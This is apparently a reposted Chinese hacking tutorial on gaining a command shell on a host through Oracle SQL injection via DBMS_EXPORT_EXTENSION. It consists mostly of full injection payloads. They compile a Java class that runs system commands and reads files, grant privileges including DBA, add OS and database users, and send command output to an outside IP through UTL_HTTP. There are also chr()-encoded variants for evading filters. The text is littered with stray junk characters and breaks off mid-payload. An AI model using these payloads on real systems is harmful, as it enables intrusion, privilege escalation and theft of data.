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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。3 k+ e( J' N7 p* ?5 {
5 h# l5 Y/ U5 [% N: ?% i以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成' m( }( B+ m4 a- ~
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....). ^, @2 }( c) S2 C7 t: f( f6 Y
" A1 Y) u! K* x0 F/ z+ y' K# |- r8 |的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。
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以下是各个步骤:
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1.创建包
1 d- A$ x2 Q6 B9 E通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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9 r# F# J8 A% n. q; q4 ^& m9 \/xxx.jsp?id=1 and '1'<>'a'||(7 f. X+ l7 N- c9 |$ h2 V
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# } Z! a+ y- E
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 Y0 a" {8 E, Jnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}* h% O% @' E* [ i, M$ P
}'''';END;'';END;--','SYS',0,'1',0) from dual2 p- y6 J2 @' p; G
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------------------------5 m. {' Z$ u& Y% K, q
如果url有长度限制,可以把readFile()函数块去掉,即:
9 v0 |/ Q5 q2 V) z6 d0 s( B, e/xxx.jsp?id=1 and '1'<>'a'||(
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% v# x/ J- W5 f3 Q7 Y Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ X- B) M1 |% W- tcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(6 b1 Y: b) f8 N* K# H& F+ r
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}' P; L$ i& O9 Z0 L ?5 V9 p
}'''';END;'';END;--','SYS',0,'1',0) from dual o5 }) e2 B" y6 t" f; O/ h
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# a& r* d9 p* k同时把后面步骤 提到的 对readFile()的处理语句去掉。7 T1 [ T' i% U+ D% S
------------------------------
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5 C5 v9 t. ]: b, ]3 E2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual8 d4 ?* s- R+ Q) M
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3.创建函数1 o2 t8 o0 P3 c* f( o
$ R" u( t4 t5 \% @* Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 l! O, T6 N f' c- d7 ncreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual- j( @. Y3 {$ H3 t% _) e
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" G* e, U1 W |create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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: P, V2 x5 g8 ?, \4 F: z4.赋public执行函数的权限
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1 l" ^) L7 w, |3 [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual% i. X6 T( o" ]
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual) ]1 ^* u+ q# m; Z5 y3 ]9 V
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9 {( C2 S/ q9 e) F5.测试上面的几步是否成功) ^1 e$ {3 [* J9 u. F
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and '1'<>'11'||(
5 p7 o, ^1 \4 U, T) c! F$ eselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>() a& D) j, C* k4 P6 E* I( f/ s. ?1 F
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:; I" l; \+ u( `# D$ c2 [
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/xxx.jsp?id=1 and '1'<>(4 F2 T4 h# A5 b% y4 @
select sys.LinxRunCMD('cmd /c net user linx /add') from dual9 E/ T- J6 F' i
)
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3 C' _1 f7 i9 }/xxx.jsp?id=1 and '1'<>(, ]9 c% l/ t2 W6 t3 N- ]' _
select sys.LinxReadFile('c:/boot.ini') from dual+ \ ]$ l+ e$ n/ ?2 b
)
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" k S5 E: `% i$ _9 s1 d- c* I+ d注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
6 [: l5 m- M. `5 b4 R3 B如果要查看运行结果可以用 union :
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) M9 }; I% U( i, q; |: t7 V/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual0 i' p) E2 U3 _# I. `
7 N: s9 ~9 C0 \6 @或者UTL_HTTP.request(:$ B* ?) X0 i% _5 f* d# E
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/xxx.jsp?id=1 and '1'<>(5 n* O6 d ]# o; n0 ~3 S
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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4 t5 W( B4 f. x; y- R" ]/xxx.jsp?id=1 and '1'<>(
1 D* O0 f$ M$ [SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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7 c4 ]( g0 r6 x" F注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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--------------------0 y/ H: Y* a8 I
" h/ N t4 e0 b# R2 q& u, }; D, S6.内部变化
4 p3 N! F0 f" u/ n+ X9 `通过以下命令可以查看all_objects表达改变:
7 E9 q1 ] {2 W( d' Eselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数& L8 l- X6 S. Q A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': y8 N7 O* r, f
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================' z# Z+ E: L* T6 f. ?; S5 H2 q
全文结束。谨以此文赠与我的朋友。: U& B6 L" u# r' D0 i: B% a
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124829445. G" ]5 m+ }* {0 K$ r z. |3 \
2008.1.129 V `$ x$ q/ Q& @$ B2 \
linyujian@bjfu.edu.cn5 \1 [9 G# L% }% w
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8 c1 u1 [0 o5 j! P {9 u: V======================================================================: W: w2 @0 E. H3 c( C: Z6 |: R. |
7 k0 e1 N' y2 A" U E4 k2 l测试漏洞的另一方法:7 `3 C5 B" Q3 \* N+ t
) E7 V, ^1 S/ m5 d9 v% Q8 Z创建oracle帐号:3 s3 c7 Y0 o9 @; ^) |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' X, ?3 h9 Y% o) L
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( e9 g+ s3 h. E' v8 N1 B& {
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:$ l, k- y K+ C7 F" V
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select user_id from all_users where username='LINXSQL'! r% f9 e1 I( e+ [( T' s: V V6 A
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: o: K2 U' E$ Z# O$ V1 e# S给linxsql连接权限:
1 l( E1 w' u, C( v1 y0 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 ]! c6 {4 a3 W" O: g5 H& a1 |GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual" X4 e9 r1 J5 n5 U9 ?: f7 q; e: W
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删除帐号:+ }$ G* f; k6 N' n" ]" F" U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 O- d; E' @; Bdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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! |5 f+ s" ] V======================
9 }/ J) n6 E/ A6 j) x) g* A- F
- Q3 ?% j. d; R7 u3 k" A1 E) H以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
: k! ?4 O8 Y" [# eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ z( | @3 b+ b6 @- R+ R: N2 i: s: Rcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
2 \: l( V# M( j* h; z; I/ j p2 u) and ...
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+ t( o. {) ?- F' j1.jsp?id=1 and '1'<>(8 |+ p8 C/ L" G; ~8 r% o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
' k9 l# n/ R% p* v A) r; Q* ?/ \& A) ESELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL! B @/ i& `+ M# _# w0 G
) and ...8 V& a" t% d) p# s1 }! H' R
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1.jsp?id=1 and '1'<>(
% t/ O' }* C, ySELECT sys.Linx_Query('declare pragma
% \- q4 d) T5 Fautonomous_transaction; begin execute immediate ''4 D) k& N( a' W+ c( g3 n
select 1 from dual
5 W" c1 S9 c* x& z+ o. w% m''; commit; end;') from dual7 Z1 J6 n4 j4 w" C; ?
) and ...
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多语句:) ^1 m; T' [* E* l- ~8 I! p
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual, x. I$ d( J8 i( a4 E$ j* R
2 A U2 {4 V6 B5 a8 x创建用户(除非当前用户有system权限,否则无法成功):. e7 Q# Q/ o" ?; q! ]- F
SELECT sys.Linx_Query('declare pragma2 w# F3 }9 X+ |. w8 z$ O3 S4 q
autonomous_transaction; begin execute immediate ''7 z/ w8 m9 _, d* c
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User% X2 }4 j( @8 Q, |. A2 s; b, `
''; commit; end;') from dual
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================+ J2 z |- i4 G/ l
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2() g- S. X' B6 y( }
. f9 P+ h) }9 F1 ?* u1.创建函数
5 f: W* q1 S+ [7 E2 D8 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' D4 ~# o3 @; l. Z0 v, x+ O
create or replace function Linx_Query (p
* v7 r3 N2 C1 L) G2 @" F3 Mvarchar2) return number authid current_user is begin execute immediate
& W+ V! k8 @+ |p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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1 |9 ^: k. ?7 _' o' E ^如果有权限,以下语句应该允许正常
/ U1 w6 |) J3 Y( \$ V$ D/ ]select sys.linx_query('select 1 from dual') from dual;2 a2 D6 V/ I( A" @: D
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不然的话运行:6 a2 \5 i( T" G d& W
( C( I c. R- }- O. |( F: U' g) x; gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: l" A% H# r9 E5 \% Z7 Ygrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包, U) |3 L @6 L4 J- }; @- v& ^
SELECT sys.Linx_Query('declare pragma
8 z$ x/ ]4 `+ t+ M; i0 b5 W7 sautonomous_transaction; begin execute immediate ''& s. l' J5 z1 M
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(8 j2 E9 b; A! |9 Q: Y( P7 s
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual8 n2 G' r- g& y* i) Q& e4 i/ y
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3.创建函数
. Q R7 g2 l; Y9 N4 h0 |3 M9 D- r) `& T% TSELECT sys.Linx_Query('declare pragma
0 k2 R) c* E# g: }0 Oautonomous_transaction; begin execute immediate ''
, }" N3 T2 {; u# K* d, Wcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual2 R3 b* b9 U7 J* `
% M+ c+ d4 ^! V) _% d7 q4.给权限
8 i3 R! o) W5 e0 e给用户SYSTEM执行权限:! c6 d* ?) i( Q: ~9 F: `% v
2 ^! ` y. U/ h/ m1 P5 GSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
4 J2 E& O4 _5 M0 r& r. o4 y* c G M0 U3 f
/ C5 I ^$ {9 l; ?9 w
) O& ~, ~. Q6 z' R; a5 ~; g5.执行函数
; U, {2 ^* P! z, _" t6 Cselect RunCMD2('cmd /c dir') from dual
# Z* d2 c) u" D6 ?( q3 S3 `" A! [
+ f# I& e, [% j5 H: {$ a0 T8 l$ X' ] ]6 t b% i
3 B* E8 c1 e& _5 ?5 Y+ d- {) q" O8 B% \1 _ G( A) i
) H1 z7 d9 r6 h
==================" Q9 L' _$ Y/ l5 e
================================
) S w5 \# K. b- `" s9 ] F) C& o* g3 H9 ]3 j6 F
以下是无 " ' " 版:
0 H" y5 ^3 P9 l; @$ c* L' m7 J" R
以下是各个步骤:
" x1 C' a8 Z2 M. j5 r% G; W4 f, w' N. b Y R+ a+ W
1.创建包/ s1 c9 h( U- y* l
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
( |3 G% o$ L/ V$ m* L- C因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
7 V+ B7 G$ J- c# c0 I7 _3 D1 |, n
2 A6 H3 ]% h* V: U2 v3 e/xxx.jsp?id=1 and chr(49)<>chr(50)||(% q# U' [ z5 F, u8 q
: Y: a# S+ E1 @8 l! O9 S( T1 i3 Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 q/ P" A7 l1 O0 J" P; Cchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||" V( K2 s$ {- ~; n
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 C. c8 M2 q) k( U! w' Z7 h3 Xchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||" w# D; b5 [7 j+ h
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
7 Q* ~0 e/ J e! Q$ M9 y+ Lchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
G, t4 g' h; U. w( J! d$ e* Bchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
, u: |9 W! o& ~3 S; w9 ~: wchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
& |/ n1 i1 v. p" h" Pchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
N9 b" C; Z8 r* h& n8 B3 y' Zchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
* L& J+ A2 Y0 | Y- Echr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||. p( U1 G b$ I# ]* l
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||+ _) B- e% T9 x- l
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||9 r, w1 s) R: Y& i3 @ h
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
& G8 z+ O1 ?% t H% T& fchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)|| y* P7 j; v; e
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||4 e7 R! I1 S$ G% v9 d
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||8 v# S P( w% ?* b. _2 |, Z; N
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||# ?5 P" d) Z+ _
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||. d8 Q8 [7 C& v, f' r: M
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||) O2 [* i) ~0 R9 d
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||" l1 Y8 z! r$ O" O0 h l; j0 N, w
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
; \2 N8 O/ V# v- U; q6 bchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||* z$ a2 L9 v# y5 e/ k% C
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||7 ~8 T* d8 q6 [4 D: q# Q1 C
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
